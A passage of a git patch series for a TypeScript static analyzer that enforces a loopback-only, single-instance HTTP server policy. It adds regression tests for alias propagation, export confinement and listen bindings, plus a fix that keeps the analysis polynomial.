deny('alias propagation', 'ambient const alias', withServer(`declare const a: typeof server;\nconst b = server;\nb.on('x', () => {});`), ['SERVER_MEMBER']),
+ // PR #67 F2: a const alias of an allowed member call result carries the receiver's authority.
+ deny('alias propagation', 'const alias of listen result then escape (PR #67 F2)', withServer(`const leaked = server.listen(1);\nuse(leaked);`), ['SERVER_ESCAPE']),
+ deny('alias propagation', 'const alias of setHeader result then escape', inListener(`const r2 = response.setHeader('a', 'b');\nuse(r2);`), ['RESPONSE_ESCAPE']),
+ deny('alias propagation', 'const alias of end result then socket', inListener(`const r2 = response.end('x');\nr2.socket;`), ['RESPONSE_MEMBER']),
+ deny('alias propagation', 'alias chain through allowed call results', withServer(`const a = server.listen(1);\nconst b = a.close();\nb.on('x', () => {});`), ['SERVER_MEMBER']),
+ deny('alias propagation', 'PARAM-derived call result alias escapes', withServer(`function setup(s: http.Server) { const t = s.listen(1); use(t); }\nsetup(server);`), ['SERVER_ESCAPE']),
+ deny('alias propagation', 'let binding of listen result', withServer(`let started = server.listen(1);`), ['SERVER_MUTABLE_BINDING']),
+ allow('alias propagation', 'const alias of listen result used within policy', withServer(`const started = server.listen(1);\nstarted.close();`)),
];
// ---------------------------------------------------------------------------
@@ -836,6 +889,16 @@ const RESULT: readonly RegressionRow[] = [
deny('result confinement', 'result in a nullish expression', `${NS}\nconst s = http.createServer(${L}) ?? null;`, ['SERVER_ESCAPE']),
deny('result confinement', 'result in an equality test', `${NS}\nif (http.createServer(${L}) === null) {}`, ['SERVER_ESCAPE']),
deny('result confinement', 'result as heritage expression', `${NS}\nclass Sub extends (http.createServer(${L}) as any) {}`, ['SERVER_ESCAPE']),
+ // PR #67 F2: allowed member call results are confined exactly like the values they were called on.
+ deny('result confinement', 'listen result as call argument (PR #67 F2)', withServer(`use(server.listen(1));`), ['SERVER_ESCAPE']),
+ deny('result confinement', 'createServer result listen chain non-allowed member', `${NS}\nhttp.createServer(${L}).listen(1).on('x', () => {});`, ['SERVER_MEMBER']),
+ deny('result confinement', 'listen result in container', withServer(`const a = [server.listen(1)];`), ['SERVER_ESCAPE']),
+ deny('result confinement', 'listen result returned from an unconfined function', withServer(`function start() { return server.listen(1); }`), ['SERVER_UNCONFINED_RETURN']),
+ deny('result confinement', 'end result returned from an arrow body', inListener(`const send = () => response.end('x');`), ['RESPONSE_UNCONFINED_RETURN']),
+ deny('result confinement', 'listen result assigned', withServer(`let s;\ns = server.listen(1);`), ['SERVER_ESCAPE']),
+ deny('result confinement', 'listen result propagated then misused', withServer(`function setup(s: http.Server) { s.on('x', () => {}); }\nsetup(server.listen(1));`), ['SERVER_MEMBER']),
+ allow('result confinement', 'listen result passed to an eligible local callee', withServer(`function setup(s: http.Server) { s.close(); }\nsetup(server.listen(1));`)),
+ allow('result confinement', 'listen result as expression statement', withServer(`server.listen(4317, '127.0.0.1', () => { console.log('up'); });`)),
];
// ---------------------------------------------------------------------------
@@ -853,6 +916,10 @@ const EXPORT: readonly RegressionRow[] = [
deny('export confinement', 'export = server', withServer(`export = server;`), ['SERVER_EXPORT'], { closes: ['F-7'] }),
deny('export confinement', 'export of a const alias of server', withServer(`const alias = server;\nexport { alias };`), ['SERVER_EXPORT'], { closes: ['F-7'] }),
deny('export confinement', 'exported const alias of server', withServer(`export const alias = server;`), ['SERVER_EXPORT'], { closes: ['F-7'] }),
+ // PR #67 F2: exporting an allowed member call result exports the receiver's authority.
+ deny('export confinement', 'export const leaked = server.listen(...) (PR #67 F2)', withServer(`export const leaked = server.listen(4317, '127.0.0.1');`), ['SERVER_EXPORT']),
+ deny('export confinement', 'export default server.listen(...)', withServer(`export default server.listen(1);`), ['SERVER_EXPORT']),
+ deny('export confinement', 'export of a const alias of a listen result', withServer(`const leaked = server.listen(1);\nexport { leaked };`), ['SERVER_EXPORT']),
allow('export confinement', 'export function factory', withFactory(``)),
allow('export confinement', 'export { factory }', `${NS}\nfunction createCockpitServer() { return http.createServer(${L}); }\nexport { createCockpitServer };`),
allow('export confinement', 'export default function factory', `${NS}\nexport default function createCockpitServer() { return http.createServer(${L}); }`),
@@ -871,6 +938,7 @@ const FIXPOINT: readonly RegressionRow[] = [
deny('convergence/exhaustion', 'exhaustion denies even an otherwise-allowed real host shape', REAL_HOST_SHAPE, ['FIXPOINT_EXHAUSTED'], { options: { fixpointCeiling: 1 } }),
allow('convergence/exhaustion', 'recursive alias/factory cycle converges', withServer(`function get() { return server; }\nfunction again() { return get(); }\nagain().close();\nget().listen(1);`)),
allow('convergence/exhaustion', 'empty file converges', ``),
+ allow('convergence/exhaustion', 'alias chain through allowed call results converges', withServer(`const a = server.listen(1);\nconst b = a.close();\nb.close();`)),
];
// ---------------------------------------------------------------------------
@@ -896,6 +964,11 @@ const EXTRA_PARAMETERS: readonly RegressionRow[] = [
allow('extra parameter false positives', 'callee third parameter unprivileged even when first two are privileged', `${NS}\nfunction f(req: any, res: any, ctx: any) { ctx.socket; res.end(); }\nhttp.createServer((request, response) => { f(request, response, {}); });`, {
closes: ['F-1'],
}),
+ // PR #67: call results inherit authority only from a receiver that already carries it.
+ allow('extra parameter false positives', 'user-defined method named like an allowed server member on an unprivileged receiver', withServer(`const o = { listen: () => ({ on: (x: string) => x }) };\no.listen().on('x');\nserver.close();`)),
+ allow('extra parameter false positives', 'user-defined method named like an allowed response member on an unprivileged receiver', inListener(`const box = { end: () => ({ socket: 1 }) };\nbox.end().socket;\nresponse.end();`)),
+ allow('extra parameter false positives', 'call result of an unrelated const receiver', withServer(`const o = { close: () => ({ address: () => 1 }) };\nconst r = o.close();\nr.address();\nserver.close();`)),
+ allow('extra parameter false positives', 'user-defined method call result on a shadowed global name', `const self = { valueOf: () => ({ fetch: 1 }) };\nconst v = self.valueOf();\nv.fetch;`),
];
// ---------------------------------------------------------------------------
From b9c423645bd2d6987841cd6387a3ac148d4aa52c Mon Sep 17 00:00:00 2001
From: LogicDuke
Date: Thu, 3 Sep 2026 00:17:52 +0200
Subject: [PATCH 04/20] fix(cockpit): bound receiver authority evaluation
---
tests/cockpit-host/d3-network-policy.test.ts | 52 +++++++++++++++++++
.../cockpit-host/support/d3-network-policy.ts | 38 +++++++++-----
2 files changed, 77 insertions(+), 13 deletions(-)
diff --git a/tests/cockpit-host/d3-network-policy.test.ts b/tests/cockpit-host/d3-network-policy.test.ts
index 3cac231..8aaa702 100644
--- a/tests/cockpit-host/d3-network-policy.test.ts
+++ b/tests/cockpit-host/d3-network-policy.test.ts
@@ -745,6 +745,58 @@ describe('D3 network policy receiver-call result authority inheritance (PR #67 F
}
});
+ it('evaluates receiver facts once per chain level: long allowed chains stay polynomial, correct and CONVERGED', () => {
+ // Receiver-call result authority inheritance once recomputed the receiver's
+ // facts at every level (2^depth evaluations for `server.close().close()...`).
+ // `inheritingReceiverOf` now computes them exactly once and `expressionFacts`
+ // consumes that result, so one evaluation is linear in chain depth and
+ // classifying every nested call node of a depth-n chain is O(n^2) overall.
+ // The witness is the deterministic evaluation counter, not wall-clock time.
+ const DEPTHS = [8, 16, 24];
+ const chains: Record string> = {
+ server: (depth) => withServer(`server${'.close()'.repeat(depth)};`),
+ response: (depth) => inListener(`response${".setHeader('a', 'b')".repeat(depth)};`),
+ };
+ for (const [name, build] of Object.entries(chains)) {
+ for (const depth of DEPTHS) {
+ const label = `${name} chain depth ${String(depth)}`;
+ const inspection = inspectNetworkPolicy(build(depth));
+ expect(inspection.result.reasons, label).toEqual([]);
+ expect(inspection.result.verdict, label).toBe('ALLOW');
+ expect(inspection.result.fixpoint.state, label).toBe('CONVERGED');
+ expect(inspection.result.fixpoint.iterations, label).toBeLessThanOrEqual(inspection.fixpointBound);
+ // Polynomial ceiling, and strictly below the exponential floor of per-level re-evaluation.
+ expect(inspection.expressionFactsEvaluations, label).toBeLessThanOrEqual((depth + 3) ** 2);
+ expect(inspection.expressionFactsEvaluations, label).toBeLessThan(2 ** depth);
+ // One more level costs at most a linear number of extra evaluations.
+ const deeper = inspectNetworkPolicy(build(depth + 1));
+ expect(deeper.expressionFactsEvaluations - inspection.expressionFactsEvaluations, label).toBeGreaterThan(0);
+ expect(deeper.expressionFactsEvaluations - inspection.expressionFactsEvaluations, label).toBeLessThanOrEqual(4 * depth);
+ // Deterministic: the same source always costs the same number of evaluations.
+ expect(inspectNetworkPolicy(build(depth)).expressionFactsEvaluations, label).toBe(inspection.expressionFactsEvaluations);
+ }
+ }
+ // Verdict semantics are unchanged at the end of a long chain: one finding, existing reason codes.
+ const deniedServer = analyzeNetworkPolicy(withServer(`server${'.close()'.repeat(24)}.on('x', () => {});`));
+ expect(deniedServer.reasons, describeFindings(deniedServer)).toEqual(['SERVER_MEMBER']);
+ expect(deniedServer.findings).toHaveLength(1);
+ expect(deniedServer.fixpoint.state).toBe('CONVERGED');
+ const deniedResponse = analyzeNetworkPolicy(inListener(`response${".end('x')".repeat(24)}.socket;`));
+ expect(deniedResponse.reasons, describeFindings(deniedResponse)).toEqual(['RESPONSE_MEMBER']);
+ expect(deniedResponse.findings).toHaveLength(1);
+ const tail = factsOfConst(withServer(`const tail = server${'.close()'.repeat(24)};\ntail.close();`), 'tail');
+ expect(tail.facts).toEqual(['SERVER:ALIAS']);
+ expect(tail.result.verdict, describeFindings(tail.result)).toBe('ALLOW');
+ expect(tail.result.fixpoint.state).toBe('CONVERGED');
+ expect(tail.result.fixpoint.iterations).toBeLessThanOrEqual(tail.bound);
+ // The fixpoint still fail-closes on a chain when the ceiling is reached.
+ const exhausted = analyzeNetworkPolicy(withServer(`server${'.close()'.repeat(24)};`), { fixpointCeiling: 1 });
+ expect(exhausted.fixpoint).toEqual({ state: 'EXHAUSTED', iterations: 1, bound: 1 });
+ expect(exhausted.reasons).toEqual(['FIXPOINT_EXHAUSTED']);
+ // The counter sits at the entry of the single expression-authority lookup.
+ expect(occurrences(readFileSync(detectorPath, 'utf8'), 'expressionFactsEvaluations += 1')).toBe(1);
+ });
+
it('is structural: one expression-authority lookup, no member-name special cases', () => {
const detector = readFileSync(detectorPath, 'utf8');
expect(occurrences(detector, 'function expressionFacts(')).toBe(1);
diff --git a/tests/cockpit-host/support/d3-network-policy.ts b/tests/cockpit-host/support/d3-network-policy.ts
index e760ff0..2b8b8dc 100644
--- a/tests/cockpit-host/support/d3-network-policy.ts
+++ b/tests/cockpit-host/support/d3-network-policy.ts
@@ -171,6 +171,8 @@ interface Context {
readonly confinedFactories: Set;
readonly keyMemo: Map;
keyWork: number;
+ /** Number of `expressionFacts` evaluations (complexity witness for the inspection API). */
+ expressionFactsEvaluations: number;
readonly fixpointCeiling: number;
}
@@ -795,31 +797,37 @@ function factsOf(ctx: Context, symbol: ts.Symbol | undefined): readonly Fact[] {
* THE expression-authority lookup: the facts an expression carries — SERVER:ROOT
* for a proven createServer or confined factory result, a proven identifier's
* facts, or, through receiver-call result authority inheritance, the facts of
- * the receiver named by `inheritingReceiverOf`.
+ * the inheriting receiver as computed once by `inheritingReceiverOf`.
*/
function expressionFacts(ctx: Context, expression: ts.Expression): readonly Fact[] {
+ ctx.expressionFactsEvaluations += 1;
const node = unwrap(expression);
if (isProvenCreateServerCall(ctx, node) || isConfinedFactoryCall(ctx, node)) return [{ authority: 'SERVER', origin: 'ROOT' }];
if (ts.isIdentifier(node)) return factsOf(ctx, valueSymbolOf(ctx.checker, node));
- const receiver = inheritingReceiverOf(ctx, node);
- return receiver === null ? [] : expressionFacts(ctx, receiver);
+ return inheritingReceiverOf(ctx, node) ?? [];
}
/**
- * Receiver-call result authority inheritance: the receiver whose authority a
- * call result conservatively retains. `node` must be a direct, non-optional
- * call whose callee is a member access on an authority-carrying receiver that
- * passes the positive member policy of every class the receiver carries.
- * Nothing about the member's runtime semantics is proven by its name; the
- * result is simply never allowed to become an unrestricted value.
+ * Receiver-call result authority inheritance: the facts of the receiver whose
+ * authority a call result conservatively retains, or null when the result
+ * inherits nothing. `node` must be a direct, non-optional call whose callee is
+ * a member access on an authority-carrying receiver that passes the positive
+ * member policy of every class the receiver carries. Nothing about the
+ * member's runtime semantics is proven by its name; the result is simply never
+ * allowed to become an unrestricted value.
+ *
+ * The receiver's facts are evaluated exactly once here and handed back to
+ * `expressionFacts` as the call result's facts, so a receiver-call chain costs
+ * one evaluation per level rather than re-evaluating the receiver per level.
*/
-function inheritingReceiverOf(ctx: Context, node: ts.Node): ts.Expression | null {
+function inheritingReceiverOf(ctx: Context, node: ts.Node): readonly Fact[] | null {
if (!ts.isCallExpression(node) || node.questionDotToken !== undefined) return null;
const callee = unwrap(node.expression);
if (!isMemberAccess(callee)) return null;
- const classes = classesOf(ctx, callee.expression);
- if (classes.size === 0) return null;
- return [...classes].every((authority) => memberAllowed(ctx, authority, callee)) ? callee.expression : null;
+ const facts = expressionFacts(ctx, callee.expression);
+ if (facts.length === 0) return null;
+ const classes = new Set(facts.map((fact) => fact.authority));
+ return [...classes].every((authority) => memberAllowed(ctx, authority, callee)) ? facts : null;
}
/** Authority classes carried by an expression, through `expressionFacts`. */
@@ -1250,6 +1258,7 @@ function createContext(source: string, options: NetworkPolicyOptions): Context {
confinedFactories: new Set(),
keyMemo: new Map(),
keyWork: 0,
+ expressionFactsEvaluations: 0,
fixpointCeiling: options.fixpointCeiling ?? DEFAULT_FIXPOINT_CEILING,
};
}
@@ -1271,6 +1280,8 @@ export interface NetworkPolicyInspection {
readonly isConfinedFactory: (symbol: ts.Symbol) => boolean;
readonly declaredSymbolCount: number;
readonly fixpointBound: number;
+ /** Total `expressionFacts` evaluations performed by the analysis (deterministic complexity witness). */
+ readonly expressionFactsEvaluations: number;
}
function analyze(source: string, options: NetworkPolicyOptions): { ctx: Context; result: NetworkPolicyResult } {
@@ -1305,5 +1316,6 @@ export function inspectNetworkPolicy(source: string, options: NetworkPolicyOptio
isConfinedFactory: (symbol) => ctx.confinedFactories.has(symbol),
declaredSymbolCount: ctx.declaredSymbols.size,
fixpointBound: fixpointBound(ctx),
+ expressionFactsEvaluations: ctx.expressionFactsEvaluations,
};
}
From 5a0c2b8030e5492b45e3022f5c2e66682f745abe Mon Sep 17 00:00:00 2001
From: LogicDuke
Date: Thu, 3 Sep 2026 05:00:59 +0200
Subject: [PATCH 05/20] fix(cockpit): enforce loopback server policy
---
tests/cockpit-host/d3-network-policy.test.ts | 209 ++++++++++++++++--
tests/cockpit-host/purity.test.ts | 9 +-
.../cockpit-host/support/d3-network-policy.ts | 78 ++++++-
.../support/d3-regression-matrix.ts | 173 +++++++++++----
4 files changed, 405 insertions(+), 64 deletions(-)
diff --git a/tests/cockpit-host/d3-network-policy.test.ts b/tests/cockpit-host/d3-network-policy.test.ts
index 8aaa702..08f0de0 100644
--- a/tests/cockpit-host/d3-network-policy.test.ts
+++ b/tests/cockpit-host/d3-network-policy.test.ts
@@ -11,7 +11,9 @@ import {
inspectNetworkPolicy,
isValueRead,
isWriteTarget,
+ LOOPBACK_HOST,
POLICY_KEY_NAMES,
+ PORT_MAX,
STATIC_KEY_CEILING,
type NetworkPolicyResult,
type ReasonCode,
@@ -429,7 +431,7 @@ describe('D3 network policy factory confinement', () => {
};
it('confines the real exported factory and roots its const consumer as SERVER', () => {
- const source = `${NS}\nexport function createCockpitServer(): http.Server { return http.createServer(${L}); }\nconst server = createCockpitServer();\nserver.listen(1);`;
+ const source = `${NS}\nexport function createCockpitServer(): http.Server { return http.createServer(${L}); }\nconst server = createCockpitServer();\nserver.listen(4317, '127.0.0.1');`;
const { confined, result } = factoryState(source, 'createCockpitServer');
expect(confined).toBe(true);
expect(result.verdict, describeFindings(result)).toBe('ALLOW');
@@ -462,7 +464,7 @@ describe('D3 network policy factory confinement', () => {
});
it('confines factories returning other confined factories or rooted const aliases', () => {
- const source = `${NS}\nconst server = http.createServer(${L});\nfunction get() { return server; }\nfunction outer() { return get(); }\nouter().listen(1);`;
+ const source = `${NS}\nconst server = http.createServer(${L});\nfunction get() { return server; }\nfunction outer() { return get(); }\nouter().listen(4317, '127.0.0.1');`;
expect(factoryState(source, 'get').confined).toBe(true);
expect(factoryState(source, 'outer').confined).toBe(true);
expect(factoryState(source, 'outer').result.verdict).toBe('ALLOW');
@@ -586,14 +588,14 @@ describe('D3 network policy receiver-call result authority inheritance (PR #67 F
it('F2: denies every proven-target call-result witness through the existing target policy', () => {
for (const [source, reason] of [
[withServer(`export const leaked = server.listen(4317, '127.0.0.1');`), 'SERVER_EXPORT'],
- [withServer(`server.listen(1).on('connection', (socket) => { socket.write('x'); });`), 'SERVER_MEMBER'],
+ [withServer(`server.listen(4317, '127.0.0.1').on('connection', (socket) => { socket.write('x'); });`), 'SERVER_MEMBER'],
[withServer(`server.close().on('close', () => {});`), 'SERVER_MEMBER'],
[inListener(`response.setHeader('a', 'b').socket;`), 'RESPONSE_MEMBER'],
[inListener(`response.end('x').socket;`), 'RESPONSE_MEMBER'],
[inListener(`const r2 = response.setHeader('a', 'b');\nuse(r2);`), 'RESPONSE_ESCAPE'],
- [withServer(`use(server.listen(1));`), 'SERVER_ESCAPE'],
- [`${NS}\nhttp.createServer(${L}).listen(1).on('x', () => {});`, 'SERVER_MEMBER'],
- [withServer(`const leaked = server.listen(1);\nuse(leaked);`), 'SERVER_ESCAPE'],
+ [withServer(`use(server.listen(4317, '127.0.0.1'));`), 'SERVER_ESCAPE'],
+ [`${NS}\nhttp.createServer(${L}).listen(4317, '127.0.0.1').on('x', () => {});`, 'SERVER_MEMBER'],
+ [withServer(`const leaked = server.listen(4317, '127.0.0.1');\nuse(leaked);`), 'SERVER_ESCAPE'],
] as const) {
const result = analyzeNetworkPolicy(source);
expect(result.verdict, source).toBe('DENY');
@@ -649,12 +651,12 @@ describe('D3 network policy receiver-call result authority inheritance (PR #67 F
it('preserves allowed chains, statement-position results and eligible propagation', () => {
for (const source of [
- withServer(`server.listen(1).close();`),
+ withServer(`server.listen(4317, '127.0.0.1').close();`),
inListener(`response.setHeader('a', 'b').end('x');`),
- withServer(`void server.listen(1);`),
+ withServer(`void server.listen(4317, '127.0.0.1');`),
withServer(`server.listen(4317, '127.0.0.1', () => { console.log('up'); });`),
- withServer(`function setup(s: http.Server) { s.close(); }\nsetup(server.listen(1));`),
- withServer(`const started = server.listen(1);\nstarted.close();`),
+ withServer(`function setup(s: http.Server) { s.close(); }\nsetup(server.listen(4317, '127.0.0.1'));`),
+ withServer(`const started = server.listen(4317, '127.0.0.1');\nstarted.close();`),
`globalThis.console.log('x');`,
`globalThis.valueOf();`,
`globalThis.valueOf().console.log('x');`,
@@ -666,23 +668,23 @@ describe('D3 network policy receiver-call result authority inheritance (PR #67 F
});
it('establishes SERVER authority on a const alias of a listen result as ALIAS, converging within the derived bound', () => {
- const rooted = factsOfConst(withServer(`const leaked = server.listen(1);\nleaked.close();`), 'leaked');
+ const rooted = factsOfConst(withServer(`const leaked = server.listen(4317, '127.0.0.1');\nleaked.close();`), 'leaked');
expect(rooted.facts).toEqual(['SERVER:ALIAS']);
expect(rooted.result.fixpoint.state).toBe('CONVERGED');
expect(rooted.result.fixpoint.iterations).toBeLessThanOrEqual(rooted.bound);
expect(rooted.result.fixpoint.bound).toBe(rooted.bound);
expect(rooted.result.verdict, describeFindings(rooted.result)).toBe('ALLOW');
- const direct = factsOfConst(`${NS}\nconst leaked = http.createServer(${L}).listen(1);\nleaked.close();`, 'leaked');
+ const direct = factsOfConst(`${NS}\nconst leaked = http.createServer(${L}).listen(4317, '127.0.0.1');\nleaked.close();`, 'leaked');
expect(direct.facts).toEqual(['SERVER:ALIAS']);
expect(direct.result.fixpoint.state).toBe('CONVERGED');
- const chained = factsOfConst(withServer(`const a = server.listen(1);\nconst b = a.close();\nb.close();`), 'b');
+ const chained = factsOfConst(withServer(`const a = server.listen(4317, '127.0.0.1');\nconst b = a.close();\nb.close();`), 'b');
expect(chained.facts).toEqual(['SERVER:ALIAS']);
expect(chained.result.fixpoint.state).toBe('CONVERGED');
expect(chained.result.fixpoint.iterations).toBeLessThanOrEqual(chained.bound);
- const viaParam = factsOfConst(withServer(`function setup(s: http.Server) { const t = s.listen(1); t.close(); }\nsetup(server);`), 't');
+ const viaParam = factsOfConst(withServer(`function setup(s: http.Server) { const t = s.listen(4317, '127.0.0.1'); t.close(); }\nsetup(server);`), 't');
expect(viaParam.facts).toEqual(['SERVER:PARAM']);
expect(viaParam.result.fixpoint.state).toBe('CONVERGED');
@@ -698,7 +700,7 @@ describe('D3 network policy receiver-call result authority inheritance (PR #67 F
expect(optionalCall.result.reasons).toEqual(['SERVER_MEMBER']);
for (const [source, reason] of [
[withServer(`server.listen?.(1).on('x', () => {});`), 'SERVER_MEMBER'],
- [withServer(`server?.listen(1).on('x', () => {});`), 'SERVER_MEMBER'],
+ [withServer(`server?.listen(4317, '127.0.0.1').on('x', () => {});`), 'SERVER_MEMBER'],
[inListener(`response.end?.('x').socket;`), 'RESPONSE_MEMBER'],
] as const) {
const result = analyzeNetworkPolicy(source);
@@ -729,7 +731,7 @@ describe('D3 network policy receiver-call result authority inheritance (PR #67 F
const result = analyzeNetworkPolicy(source);
expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([]);
}
- const carried = analyzeNetworkPolicy(withServer(`function setup(s: http.Server) { s.listen(1).on('x', () => {}); }\nsetup(server);`));
+ const carried = analyzeNetworkPolicy(withServer(`function setup(s: http.Server) { s.listen(4317, '127.0.0.1').on('x', () => {}); }\nsetup(server);`));
expect(carried.reasons).toEqual(['SERVER_MEMBER']);
});
@@ -814,6 +816,181 @@ describe('D3 network policy receiver-call result authority inheritance (PR #67 F
});
});
+// ---------------------------------------------------------------------------
+// Loopback listen binding and server instantiation site bound (PR #67 B1 / B2)
+// ---------------------------------------------------------------------------
+
+describe('D3 network policy loopback listen binding (PR #67 B1)', () => {
+ const withServer = (rest: string): string => `${NS}\nconst server = http.createServer(${L});\n${rest}`;
+ const withFactory = (rest: string): string =>
+ `${NS}\nexport function createCockpitServer(): http.Server {\n return http.createServer(${L});\n}\n${rest}`;
+
+ it('denies every non-loopback or indeterminate listen shape on a proven SERVER target with one finding', () => {
+ for (const source of [
+ withServer(`server.listen(4317, '0.0.0.0');`),
+ withServer(`server.listen(4317, '::');`),
+ withServer(`server.listen(4317);`),
+ withServer(`server.listen();`),
+ withServer(`server.listen(4317, '::1');`),
+ withServer(`server.listen(4317, 'localhost');`),
+ withServer(`declare const dynamicHost: string;\nserver.listen(4317, dynamicHost);`),
+ withServer(`let host = '127.0.0.1';\nserver.listen(4317, host);`),
+ withServer(`const HOST = '0.0.0.0';\nserver.listen(4317, HOST);`),
+ withServer(`declare const port: number;\nserver.listen(port, '127.0.0.1');`),
+ withServer(`server.listen(${String(PORT_MAX + 1)}, '127.0.0.1');`),
+ withServer(`server.listen('/tmp/cockpit.sock', '127.0.0.1');`),
+ withServer(`server.listen({ port: 4317, host: '127.0.0.1' });`),
+ withServer(`declare const args: [number, string];\nserver.listen(...args);`),
+ withServer(`declare const rest: [() => void];\nserver.listen(4317, '127.0.0.1', ...rest);`),
+ withServer(`server.listen(4317, '127.0.0.1', 511);`),
+ withServer(`declare const onUp: () => void;\nserver.listen(4317, '127.0.0.1', onUp);`),
+ withServer(`server.listen(4317, '127.0.0.1', () => {}, 511);`),
+ withServer(`server['listen'](4317);`),
+ withServer(`server.close().listen(4317);`),
+ `${NS}\nhttp.createServer(${L}).listen(4317);`,
+ withServer(`function setup(s: http.Server) { s.listen(4317); }\nsetup(server);`),
+ withFactory(`createCockpitServer().listen(4317);`),
+ withServer(`const a = server;\na.listen(4317, '0.0.0.0');`),
+ REAL_HOST_REPLICA.replace(`'127.0.0.1'`, `'0.0.0.0'`),
+ ]) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.verdict, source).toBe('DENY');
+ expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual(['SERVER_LISTEN_BINDING']);
+ expect(result.findings, `${source}\n${describeFindings(result)}`).toHaveLength(1);
+ expect(result.fixpoint.state, source).toBe('CONVERGED');
+ }
+ });
+
+ it('allows the statically proven loopback shape, including the real host form', () => {
+ for (const source of [
+ withServer(`server.listen(4317, '127.0.0.1');`),
+ withServer(`server.listen(4317, '127.0.0.1', () => { console.log('up'); });`),
+ withServer(`server.listen(4317, '127.0.0.1', function () { console.log('up'); });`),
+ withServer(`function onUp() { console.log('up'); }\nserver.listen(4317, '127.0.0.1', onUp);`),
+ withServer(`const onUp = () => { console.log('up'); };\nserver.listen(4317, '127.0.0.1', onUp);`),
+ withServer(`export const HOST = '127.0.0.1';\nexport const PORT = 4317;\nserver.listen(PORT, HOST, () => {});`),
+ withServer('server.listen(4317, `127.0.0.1`);'),
+ withServer(`server.listen(4317 as number, ('127.0.0.1' as string));`),
+ withServer(`server['listen'](4317, '127.0.0.1');`),
+ withServer(`server.listen('4317', '127.0.0.1');`),
+ withServer(`server.listen(0x10dd, '127.0.0.1');`),
+ withServer(`server.listen(0, '127.0.0.1');`),
+ withServer(`server.listen(${String(PORT_MAX)}, '127.0.0.1');`),
+ withServer(`server.close().listen(4317, '127.0.0.1');`),
+ withServer(`function setup(s: http.Server) { s.listen(4317, '127.0.0.1'); }\nsetup(server);`),
+ REAL_HOST_REPLICA,
+ ]) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([]);
+ expect(result.verdict, source).toBe('ALLOW');
+ expect(result.fixpoint.state, source).toBe('CONVERGED');
+ }
+ });
+
+ it('is one further positive check after the member policy; a misbound listen result keeps SERVER authority', () => {
+ expect(analyzeNetworkPolicy(withServer(`server.listen?.(4317);`)).reasons).toEqual(['SERVER_MEMBER']);
+ const chained = analyzeNetworkPolicy(withServer(`server.listen(4317).on('x', () => {});`));
+ expect(chained.reasons, describeFindings(chained)).toEqual(['SERVER_LISTEN_BINDING', 'SERVER_MEMBER']);
+ expect(chained.findings).toHaveLength(2);
+ const aliased = inspectNetworkPolicy(withServer(`const started = server.listen(4317);\nstarted.close();`));
+ const declaration = collectNodes(aliased.sourceFile, ts.isVariableDeclaration).find((d) => ts.isIdentifier(d.name) && d.name.text === 'started');
+ const symbol = declaration === undefined ? undefined : aliased.valueSymbolOf(declaration.name);
+ expect(symbol && aliased.factsOf(symbol)).toEqual(['SERVER:ALIAS']);
+ expect(aliased.result.reasons).toEqual(['SERVER_LISTEN_BINDING']);
+ const unprivileged = analyzeNetworkPolicy(`const o = { listen: (port: number) => port };\no.listen(4317);`);
+ expect(unprivileged.reasons).toEqual([]);
+ });
+
+ it('is structural: the loopback host is a positive policy key, not a dangerous-name table', () => {
+ const detector = readFileSync(detectorPath, 'utf8');
+ expect(LOOPBACK_HOST).toBe('127.0.0.1');
+ expect(POLICY_KEY_NAMES).toContain(LOOPBACK_HOST);
+ expect(STATIC_KEY_CEILING).toBe('createServer'.length);
+ expect(occurrences(detector, 'function isLoopbackListen(')).toBe(1);
+ expect(occurrences(detector, "deny(ctx, 'SERVER_LISTEN_BINDING'")).toBe(1);
+ for (const forbidden of [`'0.0.0.0'`, `'::'`, `'::1'`, 'localhost', 'DANGEROUS', 'WILDCARD']) {
+ expect(occurrences(detector, forbidden), forbidden).toBe(0);
+ }
+ });
+});
+
+describe('D3 network policy server instantiation site bound (PR #67 B2)', () => {
+ const withServer = (rest: string): string => `${NS}\nconst server = http.createServer(${L});\n${rest}`;
+ const withFactory = (rest: string): string =>
+ `${NS}\nexport function createCockpitServer(): http.Server {\n return http.createServer(${L});\n}\n${rest}`;
+
+ it('denies a second server-instantiation site outside a confined factory body, one finding per extra site', () => {
+ for (const [source, extraSites] of [
+ [`${NS}\nconst a = http.createServer(${L});\nconst b = http.createServer(${L});\na.close();\nb.close();`, 1],
+ [`${NS}\nhttp.createServer(${L});\nhttp.createServer(${L});`, 1],
+ [`${NS}\nhttp.createServer(${L});\nhttp.createServer(${L});\nhttp.createServer(${L});`, 2],
+ [withFactory(`const a = createCockpitServer();\nconst b = http.createServer(${L});\na.close();\nb.close();`), 1],
+ [withFactory(`createCockpitServer().close();\ncreateCockpitServer().close();`), 1],
+ [`${NS}\nconst make = () => http.createServer(${L});\nconst a = make();\nconst b = make();\na.close();\nb.close();`, 1],
+ [withFactory(`const first = createCockpitServer();\nconst alias = first;\nconst second = createCockpitServer();\nalias.close();\nsecond.close();`), 1],
+ [withFactory(`const HOST = '127.0.0.1';\nconst PORT = 4317;\nfunction main() { const server = createCockpitServer(); server.listen(PORT, HOST, () => {}); const spare = createCockpitServer(); spare.close(); }\nmain();`), 1],
+ [`${REAL_HOST_REPLICA}\nhttp.createServer(${L}).close();`, 1],
+ [`${NS}\nfunction a() { http.createServer(${L}).close(); }\nfunction b() { http.createServer(${L}).close(); }\na();\nb();`, 1],
+ [`${NS}\nfunction make() { return http.createServer((request, response) => { http.createServer(${L}).close(); response.end('x'); }); }\nmake().close();`, 1],
+ [withFactory(`function outer() { return createCockpitServer(); }\nouter().close();\nouter().close();`), 1],
+ [withFactory(`function outer() { return createCockpitServer(); }\nouter().close();\ncreateCockpitServer().close();`), 1],
+ ] as const) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.verdict, source).toBe('DENY');
+ expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual(['CREATE_SERVER_MULTIPLE']);
+ expect(result.findings, `${source}\n${describeFindings(result)}`).toHaveLength(extraSites);
+ expect(result.fixpoint.state, source).toBe('CONVERGED');
+ }
+ // The finding names the later site, in source order.
+ const two = analyzeNetworkPolicy(`${NS}\nconst a = http.createServer(${L});\nconst b = http.createServer(${L});\na.close();\nb.close();`);
+ expect(two.findings[0]?.line).toBe(3);
+ expect(two.findings[0]?.text.startsWith('http.createServer(')).toBe(true);
+ });
+
+ it('allows exactly one site: direct, through a confined factory, or with alias-returning factories', () => {
+ for (const source of [
